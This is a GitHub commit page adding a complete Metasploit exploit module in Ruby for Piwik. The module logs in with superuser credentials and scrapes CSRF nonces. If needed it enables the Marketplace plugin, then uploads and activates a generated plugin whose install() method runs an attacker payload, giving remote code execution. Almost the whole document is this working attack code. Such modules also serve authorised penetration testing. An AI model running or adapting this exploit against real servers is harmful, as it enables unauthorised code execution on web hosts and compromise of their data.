Skip to content

Commit baa473a

Browse files
committed
add piwik superuser plugin upload module
1 parent cab19dc commit baa473a

File tree

1 file changed

+365
-0
lines changed

1 file changed

+365
-0
lines changed
Lines changed: 365 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,365 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(
17+
info,
18+
'Name' => 'Piwik Superuser Plugin Upload',
19+
'Description' => %q{
20+
This module will generate a plugin, pack the payload into it
21+
and upload it to a server running Piwik. Superuser Credentials are
22+
required to run this module. This module does not work against Piwik 1
23+
as there is no option to upload custom plugins.
24+
Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'FireFart' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ]
34+
],
35+
'DisclosureDate' => 'Feb 05 2017',
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [['Piwik', {}]],
39+
'DefaultTarget' => 0
40+
))
41+
42+
register_options(
43+
[
44+
OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),
45+
OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),
46+
OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])
47+
], self.class)
48+
end
49+
50+
def username
51+
datastore['USERNAME']
52+
end
53+
54+
def password
55+
datastore['PASSWORD']
56+
end
57+
58+
def normalized_index
59+
normalize_uri(target_uri, 'index.php')
60+
end
61+
62+
def get_piwik_version(login_cookies)
63+
res = send_request_cgi({
64+
'method' => 'GET',
65+
'uri' => normalized_index,
66+
'cookie' => login_cookies,
67+
'vars_get' => {
68+
'module' => 'Feedback',
69+
'action' => 'index',
70+
'idSite' => '1',
71+
'period' => 'day',
72+
'date' => 'yesterday'
73+
}
74+
})
75+
76+
piwik_version_regexes = [
77+
/<title>About Piwik ([\w\.]+) -/,
78+
/content-title="About&#x20;Piwik&#x20;([\w\.]+)"/,
79+
/<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m
80+
]
81+
82+
if res && res.code == 200
83+
for r in piwik_version_regexes
84+
match = res.body.match(r)
85+
if match
86+
return match[1]
87+
end
88+
end
89+
end
90+
91+
# check for Piwik version 1
92+
# the logo.svg is only available in version 1
93+
res = send_request_cgi({
94+
'method' => 'GET',
95+
'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')
96+
})
97+
if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/
98+
return "1.x"
99+
end
100+
101+
nil
102+
end
103+
104+
def is_superuser?(login_cookies)
105+
res = send_request_cgi({
106+
'method' => 'GET',
107+
'uri' => normalized_index,
108+
'cookie' => login_cookies,
109+
'vars_get' => {
110+
'module' => 'Installation',
111+
'action' => 'systemCheckPage'
112+
}
113+
})
114+
115+
if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/
116+
return false
117+
elsif res && res.body =~ /id="systemCheckRequired"/
118+
return true
119+
else
120+
return false
121+
end
122+
end
123+
124+
def generate_plugin(plugin_name)
125+
plugin_json = %Q|{
126+
"name": "#{plugin_name}",
127+
"description": "#{plugin_name}",
128+
"version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",
129+
"theme": false
130+
}|
131+
132+
plugin_script = %Q|<?php
133+
namespace Piwik\\Plugins\\#{plugin_name};
134+
class #{plugin_name} extends \\Piwik\\Plugin {
135+
public function install()
136+
{
137+
#{payload.encoded}
138+
}
139+
}
140+
|
141+
142+
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
143+
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
144+
zip.add_file("#{plugin_name}/plugin.json", plugin_json)
145+
zip.pack
146+
end
147+
148+
def exploit
149+
print_status('Trying to detect if target is running a supported version of piwik')
150+
res = send_request_cgi({
151+
'method' => 'GET',
152+
'uri' => normalized_index
153+
})
154+
if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
155+
print_good('Detected Piwik installation')
156+
else
157+
fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
158+
end
159+
160+
print_status("Authenticating with Piwik using #{username}:#{password}...")
161+
res = send_request_cgi({
162+
'method' => 'GET',
163+
'uri' => normalized_index,
164+
'vars_get' => {
165+
'module' => 'Login',
166+
'action' => 'index'
167+
}
168+
})
169+
170+
login_nonce = nil
171+
if res && res.code == 200
172+
match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)
173+
if match
174+
login_nonce = match[1]
175+
end
176+
end
177+
fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?
178+
179+
cookies = res.get_cookies
180+
181+
res = send_request_cgi({
182+
'method' => 'POST',
183+
'uri' => normalized_index,
184+
'cookie' => cookies,
185+
'vars_get' => {
186+
'module' => 'Login',
187+
'action' => 'index'
188+
},
189+
'vars_post' => {
190+
'form_login' => "#{username}",
191+
'form_password' => "#{password}",
192+
'form_nonce' => "#{login_nonce}"
193+
}
194+
})
195+
196+
if res && res.redirect? && res.redirection
197+
# update cookies
198+
cookies = res.get_cookies
199+
else
200+
# failed login responds with code 200 and renders the login form
201+
fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
202+
end
203+
print_good('Authenticated with Piwik')
204+
205+
print_status("Checking if user #{username} has superuser access")
206+
superuser = is_superuser?(cookies)
207+
if superuser
208+
print_good("User #{username} has superuser access")
209+
else
210+
fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")
211+
end
212+
213+
print_status('Trying to get Piwik version')
214+
piwik_version = get_piwik_version(cookies)
215+
if piwik_version.nil?
216+
print_warning('Unable to detect Piwik version. Trying to continue.')
217+
else
218+
print_good("Detected Piwik version #{piwik_version}")
219+
end
220+
221+
if piwik_version == '1.x'
222+
fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')
223+
end
224+
225+
# Only versions after 3 have a seperate Marketplace plugin
226+
if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3')
227+
marketplace_available = true
228+
else
229+
marketplace_available = false
230+
end
231+
232+
if marketplace_available
233+
print_status("Checking if Marketplace plugin is active")
234+
res = send_request_cgi({
235+
'method' => 'GET',
236+
'uri' => normalized_index,
237+
'cookie' => cookies,
238+
'vars_get' => {
239+
'module' => 'Marketplace',
240+
'action' => 'index'
241+
}
242+
})
243+
fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
244+
if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
245+
print_status('Marketplace plugin is not enabled, trying to enable it')
246+
247+
res = send_request_cgi({
248+
'method' => 'GET',
249+
'uri' => normalized_index,
250+
'cookie' => cookies,
251+
'vars_get' => {
252+
'module' => 'CorePluginsAdmin',
253+
'action' => 'plugins'
254+
}
255+
})
256+
mp_activate_nonce = nil
257+
if res && res.code == 200
258+
match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/)
259+
if match
260+
mp_activate_nonce = match[1]
261+
end
262+
end
263+
fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce
264+
res = send_request_cgi({
265+
'method' => 'GET',
266+
'uri' => normalized_index,
267+
'cookie' => cookies,
268+
'vars_get' => {
269+
'module' => 'CorePluginsAdmin',
270+
'action' => 'activate',
271+
'pluginName' => 'Marketplace',
272+
'nonce' => "#{mp_activate_nonce}"
273+
}
274+
})
275+
if res && res.redirect?
276+
print_good('Marketplace plugin enabled')
277+
else
278+
fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')
279+
end
280+
else
281+
print_good('Seems like the Marketplace plugin is already enabled')
282+
end
283+
end
284+
285+
print_status('Generating plugin')
286+
plugin_name = Rex::Text.rand_text_alpha(10)
287+
zip = generate_plugin(plugin_name)
288+
print_good("Plugin #{plugin_name} generated")
289+
290+
print_status('Uploading plugin')
291+
292+
# newer Piwik versions have a seperate Marketplace plugin
293+
if marketplace_available
294+
res = send_request_cgi({
295+
'method' => 'GET',
296+
'uri' => normalized_index,
297+
'cookie' => cookies,
298+
'vars_get' => {
299+
'module' => 'Marketplace',
300+
'action' => 'overview'
301+
}
302+
})
303+
else
304+
res = send_request_cgi({
305+
'method' => 'GET',
306+
'uri' => normalized_index,
307+
'cookie' => cookies,
308+
'vars_get' => {
309+
'module' => 'CorePluginsAdmin',
310+
'action' => 'marketplace'
311+
}
312+
})
313+
end
314+
315+
upload_nonce = nil
316+
if res && res.code == 200
317+
match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)
318+
if match
319+
upload_nonce = match[1]
320+
end
321+
end
322+
fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?
323+
324+
# plugin files to delete after getting our session
325+
register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")
326+
register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")
327+
328+
data = Rex::MIME::Message.new
329+
data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"")
330+
res = send_request_cgi(
331+
'method' => 'POST',
332+
'uri' => normalized_index,
333+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
334+
'data' => data.to_s,
335+
'cookie' => cookies,
336+
'vars_get' => {
337+
'module' => 'CorePluginsAdmin',
338+
'action' => 'uploadPlugin',
339+
'nonce' => "#{upload_nonce}"
340+
}
341+
)
342+
activate_nonce = nil
343+
if res && res.code == 200
344+
match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&amp;action=activate.+nonce=([^&]+)/)
345+
if match
346+
activate_nonce = match[1]
347+
end
348+
end
349+
fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?
350+
351+
print_status('Activating plugin and triggering payload')
352+
send_request_cgi({
353+
'method' => 'GET',
354+
'uri' => normalized_index,
355+
'cookie' => cookies,
356+
'vars_get' => {
357+
'module' => 'CorePluginsAdmin',
358+
'action' => 'activate',
359+
'nonce' => "#{activate_nonce}",
360+
'pluginName' => "#{plugin_name}"
361+
}
362+
}, 5)
363+
end
364+
end
365+

0 commit comments

Comments
 (0)